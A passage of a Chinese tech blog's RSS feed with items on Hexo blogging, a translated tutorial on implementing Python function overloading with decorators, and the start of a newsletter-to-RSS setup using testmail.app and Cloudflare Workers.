class="line">  <span class="attr">"colorizer.color-3"</span><span class="punctuation">:</span> <span class="string">"#87cefa"</span> <span class="comment">// "LightSkyBlue". (Light Blue)</span></span><br><span class="line"><span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"bracket-pair-colorizer-2.colors"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">  <span class="string">"colorizer.color-1"</span><span class="punctuation">,</span></span><br><span class="line">  <span class="string">"colorizer.color-2"</span><span class="punctuation">,</span></span><br><span class="line">  <span class="string">"colorizer.color-3"</span></span><br><span class="line"><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"bracket-pair-colorizer-2.forceUniqueOpeningColor"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"bracket-pair-colorizer-2.highlightActiveScope"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br></pre></td></tr></tbody></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>我的 Hexo - 零『前言』</title>
      <link>https://cat.ms/posts/my-hexo-0/</link>
      <description>
        <![CDATA[<p>这是系列博客 《我的 Hexo》的第零篇，其他篇见：</p>
<hr>
<p>使用 Hexo 已经四年已久，四年以来对博客做了很多的优化，也积累了很多经验，现在想写一写都做了什么。</p>
<p>可能也许大概会有这么多东西：</p>
<ol>
<li>利用 GitHub Actions 自动部署博客</li>
<li>编写 scripts 在 hexo 各阶段生成内容</li>
<li>使用 VS Code 写博客
<ol>
<li>使用插件</li>
<li>使用 code snippets</li>
</ol>
</li>
<li>在 <code>_config.yml</code> 中使用危险 token</li>
<li>你不曾注意过的 <code>_config.yml</code></li>
<li>在 next-theme 主题中添加自定义内容</li>
<li>利用好 <code>package.json</code> 文件中的 <code>scripts</code> 字段</li>
<li>利用好 Node.js 脚本</li>
</ol>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Hexo/">Hexo</category>
      <pubDate>Thu, 26 Nov 2020 10:06:54 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>这是系列博客 《我的 Hexo》的第零篇，其他篇见：</p><hr><p>使用 Hexo 已经四年已久，四年以来对博客做了很多的优化，也积累了很多经验，现在想写一写都做了什么。</p><p>可能也许大概会有这么多东西：</p><ol><li>利用 GitHub Actions 自动部署博客</li><li>编写 scripts 在 hexo 各阶段生成内容</li><li>使用 VS Code 写博客<ol><li>使用插件</li><li>使用 code snippets</li></ol></li><li>在 <code>_config.yml</code> 中使用危险 token</li><li>你不曾注意过的 <code>_config.yml</code></li><li>在 next-theme 主题中添加自定义内容</li><li>利用好 <code>package.json</code> 文件中的 <code>scripts</code> 字段</li><li>利用好 Node.js 脚本</li></ol><span id="more"></span><p>想了想，也许写下去之后就是个 hexo 高级教程？</p><p>可能还有一些其他的东西会提到，比如我的图床实现之类的，敬请期待~</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>[译] 在 Python 中实现函数重载</title>
      <link>https://cat.ms/posts/function-overloading-in-python/</link>
      <description>
        <![CDATA[<p>译自：<a href="https://arpitbhayani.me/blogs/function-overloading">https://arpitbhayani.me/blogs/function-overloading</a><br>
作者：<a href="https://twitter.com/arpit_bhayani">@arpit_bhayani</a><br>
翻译已获原作者授权</p>
<hr>
<p>函数重载是指可以创建多个同名函数，但是每个函数的形参以及实现可以不一样。当一个重载函数 <code>fn</code> 被调用时，运行时会根据传入的参数 / 对象，来判断并调用相应的实现函数。</p>
<figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">area</span><span class="params">(<span class="type">int</span> length, <span class="type">int</span> breadth)</span> </span>{</span><br><span class="line">  <span class="keyword">return</span> length * breadth;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">float</span> <span class="title">area</span><span class="params">(<span class="type">int</span> radius)</span> </span>{</span><br><span class="line">  <span class="keyword">return</span> <span class="number">3.14</span> * radius * radius;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure>
<p>上面这个例子中 (C++ 实现)，函数 <code>area</code> 被两个实现重载，第一个函数允许传入两个参数 (且都是整数型)，根据传入的长方形的宽高，返回长方形的面积；第二个函数需要传入一个整形参数：圆的半径。当我们调用函数 <code>area</code> 时，如调用 <code>area(7)</code> 时会使用第二个函数，而调用 <code>area(3, 4)</code> 时则会使用第一个。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Python/">Python</category>
      <category domain="https://cat.ms/tags/Python/">Python</category>
      <category domain="https://cat.ms/tags/%E7%BF%BB%E8%AF%91/">翻译</category>
      <pubDate>Tue, 24 Nov 2020 08:42:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>译自：<a href="https://arpitbhayani.me/blogs/function-overloading">https://arpitbhayani.me/blogs/function-overloading</a><br>作者：<a href="https://twitter.com/arpit_bhayani">@arpit_bhayani</a><br>翻译已获原作者授权</p><hr><p>函数重载是指可以创建多个同名函数，但是每个函数的形参以及实现可以不一样。当一个重载函数 <code>fn</code> 被调用时，运行时会根据传入的参数 / 对象，来判断并调用相应的实现函数。</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">area</span><span class="params">(<span class="type">int</span> length, <span class="type">int</span> breadth)</span> </span>{</span><br><span class="line">  <span class="keyword">return</span> length * breadth;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">float</span> <span class="title">area</span><span class="params">(<span class="type">int</span> radius)</span> </span>{</span><br><span class="line">  <span class="keyword">return</span> <span class="number">3.14</span> * radius * radius;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>上面这个例子中 (C++ 实现)，函数 <code>area</code> 被两个实现重载，第一个函数允许传入两个参数 (且都是整数型)，根据传入的长方形的宽高，返回长方形的面积；第二个函数需要传入一个整形参数：圆的半径。当我们调用函数 <code>area</code> 时，如调用 <code>area(7)</code> 时会使用第二个函数，而调用 <code>area(3, 4)</code> 时则会使用第一个。</p><span id="more"></span><h2 id="为什么-Python-中没有函数重载？">为什么 Python 中没有函数重载？<a class="header-anchor" href="#为什么-Python-中没有函数重载？"></a></h2><p>Python 默认不支持函数重载。当我们定义多个同名函数时，后一个总会覆盖掉前一个函数，因此在同一个命名空间内，每个函数名总是只有一个函数执行入口。我们可以调用函数 <code>locals()</code> 和 <code>globals()</code> 来查看命名空间中有什么， 这两个函数分别返回本地命名空间和全局命名空间。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">area</span>(<span class="params">radius</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="number">3.14</span> * radius ** <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">locals</span>()</span><br><span class="line">{</span><br><span class="line">  ...</span><br><span class="line">  <span class="string">'area'</span>: &lt;function __main__.area(radius)&gt;,</span><br><span class="line">  ...</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>定义好函数之后，执行 <code>locals()</code> 函数，这个函数会返回一个包含当前命名空间中定义的所有变量的字典。该字典的键是变量名称，字典的值是变量的引用或值。当运行时遇到另一个同名函数时，它会更新本地命名空间中的函数入口，从而消除两个函数共存的可能性。因此 Python 不支持函数重载。这是在创建语言时做出的设计决策，但这并不妨碍我们实现它。来，让我们重载一些函数。</p><h2 id="在-Python-中实现函数重载">在 Python 中实现函数重载<a class="header-anchor" href="#在-Python-中实现函数重载"></a></h2><p>我们已经知道了 Python 怎样管理命名空间，如果我们想实现函数重载，我们需要：</p><ul><li>维护一个虚拟命名空间，在其中管理函数定义</li><li>根据传入的参数找到调用相应函数的方法</li></ul><p>简单起见，我们实现的函数重载将由函数接受的<strong>参数数量</strong>来区分。</p><h3 id="包装函数">包装函数<a class="header-anchor" href="#包装函数"></a></h3><p>我们创建一个名为 <code>Function</code> 的类，这个类可以传入任意的函数，通过重写类的 <code>__call__</code> 方法使得该类可被调用，最后，我们实现一个 <code>key</code> 方法，该方法返回一个元组，可以在全局中唯一标识传入的函数。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> inspect <span class="keyword">import</span> getfullargspec</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Function</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="string">"""包装标准的 Python 函数.</span></span><br><span class="line"><span class="string">    """</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, fn</span>):</span><br><span class="line">        <span class="variable language_">self</span>.fn = fn</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__call__</span>(<span class="params">self, *args, **kwargs</span>):</span><br><span class="line">        <span class="string">"""该方法使得整个类能像函数一样被调用，然后返回传入函数的</span></span><br><span class="line"><span class="string">        调用结果。</span></span><br><span class="line"><span class="string">        """</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>.fn(*args, **kwargs)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">key</span>(<span class="params">self, args=<span class="literal">None</span></span>):</span><br><span class="line">        <span class="string">"""返回唯一标识函数的 key</span></span><br><span class="line"><span class="string">        """</span></span><br><span class="line">        <span class="comment"># 如果没有手动传入参数，从函数定义中获取参数</span></span><br><span class="line">        <span class="keyword">if</span> args <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">            args = getfullargspec(<span class="variable language_">self</span>.fn).args</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">tuple</span>(</span><br><span class="line">            [<span class="variable language_">self</span>.fn.__module__, <span class="variable language_">self</span>.fn.__class__, <span class="variable language_">self</span>.fn.__name__, <span class="built_in">len</span>(args <span class="keyword">or</span> [])]</span><br><span class="line">        )</span><br></pre></td></tr></tbody></table></figure><p>在上面的这个代码片段中，<code>Function</code> 类的 <code>key</code> 方法返回一个元组，该元组可以在整个代码库中唯一的标识被包装的函数，元组中还保存了以下内容：</p><ul><li>函数所属的模块</li><li>函数所属的类</li><li>函数名称</li><li>函数接受的参数个数</li></ul><p>覆盖的 <code>__call__</code> 方法调用被包装的函数并返回计算出的值（目前这里还只是常规操作，值原样返回）。这使得这个类的实例可以像函数一样被调用，并且其行为与被包装的函数完全一样。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">area</span>(<span class="params">l, b</span>):</span><br><span class="line">  <span class="keyword">return</span> l * b</span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>func = Function(area)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>func.key()</span><br><span class="line">(<span class="string">'__main__'</span>, &lt;<span class="keyword">class</span> <span class="string">'function'</span>&gt;, <span class="string">'area'</span>, <span class="number">2</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>func(<span class="number">3</span>, <span class="number">4</span>)</span><br><span class="line"><span class="number">12</span></span><br></pre></td></tr></tbody></table></figure><p>在上面的这个例子里，我们把 <code>area</code> 函数 传入 <code>Function</code> 类，并把实例赋给 <code>func</code>，调用 <code>func.key()</code> 返回了一个元组，该元组的第一个元素就是当前模块名 <code>__main__</code>，第二个元素是类型 <code>&lt;class 'function'&gt;</code>，第三个是函数的名字 <code>area</code>，第四个是函数 <code>area</code> 能接受的参数个数：<code>2</code>。</p><p>这个例子同时也说明了如何调用 <code>func</code> 实例，就像我们平常调用 <code>area</code> 函数那样调用就可以，传入两个参数：<code>3</code> 和 <code>4</code>，然后得到结果 <code>12</code>。这和我们调用 <code>area(3, 4)</code> 的表现是一模一样的。</p><p>当我们在后面的阶段使用装饰器时，这种表现能派上大用场。</p><h3 id="创建虚拟命名空间">创建虚拟命名空间<a class="header-anchor" href="#创建虚拟命名空间"></a></h3><p>在这一步，我们会构建一个虚拟命名空间（函数注册表），这个函数注册表会存储所有在函数定义阶段要重载的函数。</p><p>由于全局只需要一个命名空间（把所有的要重载的函数保存到一起），我们创建了一个单例类，内部使用字典来保存不同的函数，字典的键就是我们从 <code>key</code> 方法获得的元组，该元组可以唯一标识整个代码中的函数。这样一来，即使传入的函数名称相同（但参数不同），我们也可以把它们保存在字典中，从而实现函数重载。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Namespace</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">  <span class="string">"""Namespace 这个单例类保存了所有要重载的的函数</span></span><br><span class="line"><span class="string">  """</span></span><br><span class="line">  __instance = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="variable language_">self</span>.__instance <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">      <span class="variable language_">self</span>.function_map = <span class="built_in">dict</span>()</span><br><span class="line">      Namespace.__instance = <span class="variable language_">self</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">      <span class="keyword">raise</span> Exception(<span class="string">"已存在实例，无法再进行实例化"</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">  @staticmethod</span></span><br><span class="line">  <span class="keyword">def</span> <span class="title function_">get_instance</span>():</span><br><span class="line">    <span class="keyword">if</span> Namespace.__instance <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">      Namespace()</span><br><span class="line">    <span class="keyword">return</span> Namespace.__instance</span><br><span class="line"></span><br><span class="line">  <span class="keyword">def</span> <span class="title function_">register</span>(<span class="params">self, fn</span>):</span><br><span class="line">    <span class="string">"""在虚拟命名空间中注册函数，并且返回一个包装好</span></span><br><span class="line"><span class="string">    的 `Function` 实例。</span></span><br><span class="line"><span class="string">    """</span></span><br><span class="line">    func = Function(fn)</span><br><span class="line">    <span class="variable language_">self</span>.function_map[func.key()] = fn</span><br><span class="line">    <span class="keyword">return</span> func</span><br></pre></td></tr></tbody></table></figure><p><code>Namespace</code> 有一个 <code>register</code> 方法，该方法接收一个 <code>fn</code> 参数，根据 <code>fn</code> 创建一个唯一的键值然后保存到字典中，最后返回一个包装好的 <code>Function</code> 实例。</p><p>这意味着 <code>register</code> 方法的返回值也是可调用的，并且（到目前为止）其行为与要包装的函数 <code>fn</code> 完全相同。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">area</span>(<span class="params">l, b</span>):</span><br><span class="line">  <span class="keyword">return</span> l * b</span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>namespace = Namespace.get_instance()</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>func = namespace.register(area)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>func(<span class="number">3</span>, <span class="number">4</span>)</span><br><span class="line"><span class="number">12</span></span><br></pre></td></tr></tbody></table></figure><h3 id="使用装饰器">使用装饰器<a class="header-anchor" href="#使用装饰器"></a></h3><p>现在我们已经定义了一个能够注册函数的虚拟命名空间，我们需要一个在函数定义期间被调用的钩子（注：原文为 hook），这里使用装饰器来实现。</p><p>在 Python 中，我们可以用装饰器包装函数，这样我们就能在不修改函数原结构的情况下向函数添加新功能。装饰器接受要被包装的函数 <code>fn</code> 作为参数，并返回一个可调用的新函数。新函数也可以接受你在函数调用时传递的 <code>args</code>和 <code>kwargs</code> 并返回值。</p><p>下面展示了一个装饰器示例，它可以计算函数的执行时间。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">my_decorator</span>(<span class="params">fn</span>):</span><br><span class="line">  <span class="string">"""my_decorator 是我们自定义的一个装饰器</span></span><br><span class="line"><span class="string">  它能包装传入的函数并且输出该函数的执行时间。</span></span><br><span class="line"><span class="string">  """</span></span><br><span class="line">  <span class="keyword">def</span> <span class="title function_">wrapper_function</span>(<span class="params">*args, **kwargs</span>):</span><br><span class="line">    start_time = time.time()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 调用原函数获得原函数的返回值</span></span><br><span class="line">    value = fn(*args, **kwargs)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">"函数执行花费了:"</span>, time.time() - start_time, <span class="string">"秒"</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 返回原函数的调用值</span></span><br><span class="line">    <span class="keyword">return</span> value</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> wrapper_function</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@my_decorator</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">area</span>(<span class="params">l, b</span>):</span><br><span class="line">  <span class="keyword">return</span> l * b</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>area(<span class="number">3</span>, <span class="number">4</span>)</span><br><span class="line">函数执行花费了: <span class="number">9.5367431640625e-07</span> 秒</span><br><span class="line"><span class="number">12</span></span><br></pre></td></tr></tbody></table></figure><p>上面这个例子里我们定义了一个名为 <code>my_decorator</code> 的装饰器，我们使用这个装饰器包装了定义的 <code>area</code> 函数，包装后的函数在执行后可以打印执行花费的时间。</p><p>当 Python 解释器遇到被装饰的函数定义的时候，都会执行一遍装饰器函数 <code>my_decorator</code>（这样它就完成了对被装饰函数的包装，并将装饰器返回的函数存储在 Python 的本地或全局命名空间中）。对我们来说，这就是一个能在虚拟命名空间中注册函数的理想的钩子。因此，我们创建一个名为 <code>overload</code> 的装饰器，这个装饰器会在虚拟命名空间中注册被装饰的函数，并返回一个能被调用的 <code>Function</code> 实例。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">overload</span>(<span class="params">fn</span>):</span><br><span class="line">  <span class="string">"""overload 是我们用来包装函数的装饰器，会返回一个</span></span><br><span class="line"><span class="string">  能被调用的 `Function` 实例。</span></span><br><span class="line"><span class="string">  """</span></span><br><span class="line">  <span class="keyword">return</span> Namespace.get_instance().register(fn)</span><br></pre></td></tr></tbody></table></figure><p><code>overload</code> 装饰器返回了一个 <code>Function</code> 的实例，该实例是通过调用 <code>Namespace</code> 单例类中的 <code>.register()</code> 方法得到的。现在只要函数（被 <code>overload</code> 装饰过的）被调用，实际上是这个 <code>Function</code> 的实例的 <code>__call__</code> 方法被调用，该方法也会接收函数传入相应的参数。</p><p>现在我们还需要做的就是完善 <code>Function</code> 这个类的 <code>__call__</code> 方法，让 <code>__call__</code> 方法被调用的时候根据传入的参数找到正确的函数定义。</p><h3 id="从命名空间中找到正确的函数">从命名空间中找到正确的函数<a class="header-anchor" href="#从命名空间中找到正确的函数"></a></h3><p>函数歧义消除的条件除了判断模块的类和名称之外，还需要判断函数接收的参数数量，因此我们在虚拟命名空间中定义了一个方法 <code>get</code>， 这个方法接收一个 Python 命名空间中（区别于我们创建的虚拟命名空间，我们并没有改变 Python 命名空间的默认行为）的函数，我们根据函数的参数数量（我们设置的消歧因子）返回一个可以被调用的消歧后的函数。</p><p>这个 <code>get</code> 方法的作用就是决定函数的哪个实现（如果被重载过）会被调用。找到正确函数的过程其实很简单，根据传入的函数和函数参数创建一个全局唯一键然后查找这个键是否在命名空间中注册过；如果是，则读取与键对应的实现。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">get</span>(<span class="params">self, fn, *args</span>):</span><br><span class="line">  <span class="string">"""get 返回在命名空间中匹配到的函数</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  如果未匹配到任何函数则返回 None</span></span><br><span class="line"><span class="string">  """</span></span><br><span class="line">  func = Function(fn)</span><br><span class="line">  <span class="keyword">return</span> <span class="variable language_">self</span>.function_map.get(func.key(args=args))</span><br></pre></td></tr></tbody></table></figure><p><code>get</code> 方法在内部创建了一个 <code>Function</code> 的实例，然后通过该实例的 <code>key</code> 方法获取函数的唯一键。然后使用该键从函数注册表中获取相应的函数。</p><h3 id="函数调用">函数调用<a class="header-anchor" href="#函数调用"></a></h3><p>如上所述，每次调用被 <code>overload</code> 装饰过的函数时，都会调用 <code>Function</code> 类中的 <code>__call__</code> 方法。我们要在这个方法里通过虚拟命名空间的 <code>get</code> 方法找到并调用正确的重载函数实现。<code>__call__</code> 方法的实现如下：</p><figure class="highlight py"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">__call__</span>(<span class="params">self, *args, **kwargs</span>):</span><br><span class="line">  <span class="string">"""覆盖类的 `__call__` 方法可以让一个实例可被调用</span></span><br><span class="line"><span class="string">  """</span></span><br><span class="line">  <span class="comment"># 从虚拟命名空间中获取真正的要被调用的函数</span></span><br><span class="line">  fn = Namespace.get_instance().get(<span class="variable language_">self</span>.fn, *args)</span><br><span class="line">  <span class="keyword">if</span> <span class="keyword">not</span> fn:</span><br><span class="line">    <span class="keyword">raise</span> Exception(<span class="string">"no matching function found."</span>)</span><br><span class="line"></span><br><span class="line">  <span class="comment"># 返回函数调用值</span></span><br><span class="line">  <span class="keyword">return</span> fn(*args, **kwargs)</span><br></pre></td></tr></tbody></table></figure><p>该方法从虚拟命名空间中找到正确的函数，如果没找到任何函数，则抛出 <code>Exception</code> 异常，如果函数存在，则调用该函数并返回值。</p><h3 id="实战">实战<a class="header-anchor" href="#实战"></a></h3><p>将所有的代码整理好，我们定义两个名为 <code>area</code> 的函数：一个函数计算矩形的面积，另一个函数计算圆形的面积。</p><p>我们将两个函数都使用 <code>overload</code> 装饰器进行装饰。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@overload</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">area</span>(<span class="params">l, b</span>):</span><br><span class="line">  <span class="keyword">return</span> l * b</span><br><span class="line"></span><br><span class="line"><span class="meta">@overload</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">area</span>(<span class="params">r</span>):</span><br><span class="line">  <span class="keyword">import</span> math</span><br><span class="line">  <span class="keyword">return</span> math.pi * r ** <span class="number">2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>area(<span class="number">3</span>, <span class="number">4</span>)</span><br><span class="line"><span class="number">12</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>area(<span class="number">7</span>)</span><br><span class="line"><span class="number">153.93804002589985</span></span><br></pre></td></tr></tbody></table></figure><p>当我们调用 <code>area</code> 只传一个参数时，可以看到它返回了圆的面积；当我们传入两个参数时，可以发现返回了矩形的面积。</p><p>完整代码见：<a href="https://repl.it/@arpitbbhayani/Python-Function-Overloading">https://repl.it/@arpitbbhayani/Python-Function-Overloading</a></p><h2 id="结论">结论<a class="header-anchor" href="#结论"></a></h2><p>Python 默认不支持函数重载，但通过简单的语言结构我们整出了一个解决方法。我们使用装饰器和用户维护的虚拟命名空间，将函数参数数量作为消歧因子来重载函数。我们也可以使用函数参数的数据类型来做消歧，这样就能实现参数个数相同但参数类型不同的函数重载。重载的粒度仅受 <code>getfullargspec</code> 函数和我们的想象力限制。</p><p>你也可以通过上述内容自己整一个更整洁、更干净、更高效的实现，所以请随意实现一个，并发推给我 <a href="https://twitter.com/arpit_bhayani">@arpit_bhayani</a>，我会很高兴学习你的实现。</p><blockquote><p>从 Python 3.4 开始，可以使用 <a href="https://docs.python.org/3/library/functools.html#functools.singledispatch">functools.singledispatch</a> 实现函数的重载。<br>从 Python 3.8 开始，可以使用 <a href="https://docs.python.org/3/library/functools.html#functools.singledispatchmethod">functools.singledispatchmethod</a> 实现实例方法的重载。</p><p>感谢 <a href="https://twitter.com/hjwp">Harry Percival</a> 的更正</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>一个免费的 Newsletter 转 RSS 方案</title>
      <link>https://cat.ms/posts/mail2rss-by-testmail-and-cfworkers/</link>
      <description>
        <![CDATA[<p>我之前都是使用自己的邮箱订阅 Newsletter，但是每天好多邮件发送给你，混杂在一些提醒和交流邮件中，怪麻烦的。</p>
<p>也尝试过好几个订阅 newsletter 的应用，也了解了 mail2rss 这方面的网站和开源项目，一直没有啥好的解决方案。</p>
<p>有一天偶然看到 testmail.app 这个可以让开发者测试邮件服务的网站，每个用户可以有一个 namespace，然后可以构造出无限个邮件地址，也有相应的 API 用来过滤邮件等等。</p>
<p>testmail 免费版每个月可以接收 100 封邮件，邮件能保存一天。但是只需要设置 RSS 阅读器请求频率低于一天，肯定就能接收到所有邮件了。</p>
<p>那么项目思路就有了，使用 serverless 实现一个函数，这个函数每次接受 RSS 阅读器请求时都去抓取最新的邮件列表，然后响应一个 RSS 格式的 XML 文档即可。</p>
<pre><code class="mermaid">
sequenceDiagram
loop 每十分钟
RSS 阅读器-&gt;&gt;Serverless 函数: a.获取 tag 的最新 RSS 内容
activate Serverless 函数
Serverless 函数-&gt;&gt;testmail.app: b.请求 tag 对应的邮件列表
testmail.app--&gt;&gt;Serverless 函数: c.返回邮件列表
Note right of Serverless 函数: 1.处理邮件列表、内容等
Serverless 函数--&gt;&gt;RSS 阅读器: d.根据邮件列表生成 RSS 并返回
deactivate Serverless 函数
end
</code>
</pre>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/RSS/">RSS</category>
      <category domain="https://cat.ms/tags/CloudFlare-Workers/">CloudFlare Workers</category>
      <category domain="https://cat.ms/tags/Serverless/">Serverless</category>
      <pubDate>Sat, 29 Aug 2020 07:13:03 GMT</pubDate>
      <content:encoded>
